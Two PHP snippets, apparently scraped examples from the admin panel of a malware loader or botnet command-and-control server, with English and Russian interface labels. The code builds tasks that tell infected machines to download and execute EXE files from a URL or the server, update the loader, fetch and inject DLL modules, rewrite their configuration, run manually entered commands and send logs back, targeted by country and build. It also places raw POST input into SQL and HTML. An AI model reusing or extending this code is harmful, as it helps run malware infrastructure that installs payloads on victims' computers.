Example #1
0
     $s = $db->query("SELECT {$name} FROM `files` WHERE fId = '{$id}'")->fetchAssoc();
     return $s[$name];
 }
 if (isset($_POST['fAdd'])) {
     switch ($_POST['tasktype']) {
         case "DownloadRunExeUrl":
             $command = "main.DownloadRunExeUrl(%d,\"{$_POST['tTaskLink']}\")\r\n";
             $viewcommand = "Download and execute EXE <span style='color:green'>{$_POST['tTaskLink']}</span>";
             break;
         case "DownloadRunExeId":
             $command = "main.DownloadRunExeId(%d,{$_POST['tCmdFile']})\r\n";
             $viewcommand = "Download from server and execute EXE (num,ver,name)\r\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
             break;
         case "DownloadUpdateMain":
             $command = "main.DownloadUpdateMain(%d,{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . ")\r\n";
             $viewcommand = "Download and update loader EXE (num,ver,name)\r\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
             break;
         case "WriteConfigString":
             $command = "main.WriteConfigString(%d,\"{$_POST['tSec']}\",\"{$_POST['tName']}\",\"{$_POST['tVal']}\")\r\n";
             $viewcommand = "Write to the config (section,variable,value)<span style='color:green'>{$_POST['tSec']},{$_POST['tName']},{$_POST['tVal']}</span>";
             break;
     }
     $Countries = countryListFromDB($db);
     foreach ($Countries as $k => $v) {
         if (isset($_POST['taskCountries'][$k])) {
             $TaskCountries[$k] = 1;
         }
     }
     foreach ($_POST['tBuild'] as $b => $c) {
         $builds[] = $b;
     }
Example #2
0
 switch ($_POST['tasktype']) {
     case "DownloadRunExeUrl":
         $command = "main.DownloadRunExeUrl(%d,\"%s\",\"{$_POST['tTaskLink']}\")\r\n";
         $viewcommand = "Скачать и запустить EXE <span style='color:green'>{$_POST['tTaskLink']}</span>";
         break;
     case "DownloadRunExeId":
         $command = "main.DownloadRunExeId(%d,\"%s\",{$_POST['tCmdFile']})\r\n";
         $viewcommand = "Скачать с сервера и запустить EXE (номер,версия,имя)\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
         break;
     case "DownloadRunModId":
         $command = "main.DownloadRunModId(%d,\"%s\",{$_POST['tCmdFile']},\"" . GetFiledByFileId('fName', $_POST['tCmdFile']) . "\"," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . ",\"" . GetFiledByFileId('fInject', $_POST['tCmdFile']) . "\",\"" . GetFiledByFileId('fConnectedWith', $_POST['tCmdFile']) . "\",{$_POST['tRunMode']},\"" . GetFiledByFileId('fArgs', $_POST['tCmdFile']) . "\")\r\n";
         $viewcommand = "Скачать и обновить модуль DLL (номер,версия,имя,инжект,связан с модулем,режим запуска,аргументы)\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "," . GetFiledByFileId('fInject', $_POST['tCmdFile']) . "," . GetFiledByFileId('fConnectedWith', $_POST['tCmdFile']) . ",{$_POST['tRunMode']}," . GetFiledByFileId('fArgs', $_POST['tCmdFile']) . "</span>";
         break;
     case "DownloadUpdateMain":
         $command = "main.DownloadUpdateMain(%d,\"%s\",{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . ")\r\n";
         $viewcommand = "Скачать и обновить основной модуль EXE (номер,версия,имя)\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
         break;
     case "WriteConfigString":
         $command = "main.WriteConfigString(%d,\"%s\",\"{$_POST['tSec']}\",\"{$_POST['tName']}\",\"{$_POST['tVal']}\")\r\n";
         $viewcommand = "Записать в конфиг (секция,переменная,значение)<span style='color:green'>{$_POST['tSec']},{$_POST['tName']},{$_POST['tVal']}</span>";
         break;
     case "Command":
         $command = $_POST['tTaskCommand'];
         $viewcommand = "Ввод команды вручную <span style='color:green'>{$_POST['tTaskCommand']}</span>";
         break;
     case "SendLogs":
         $command = "main.SendLogs(%d,\"%s\")\r\n";
         $viewcommand = "Отправить логи";
         break;
 }
 $Countries = countryListFromDB($db);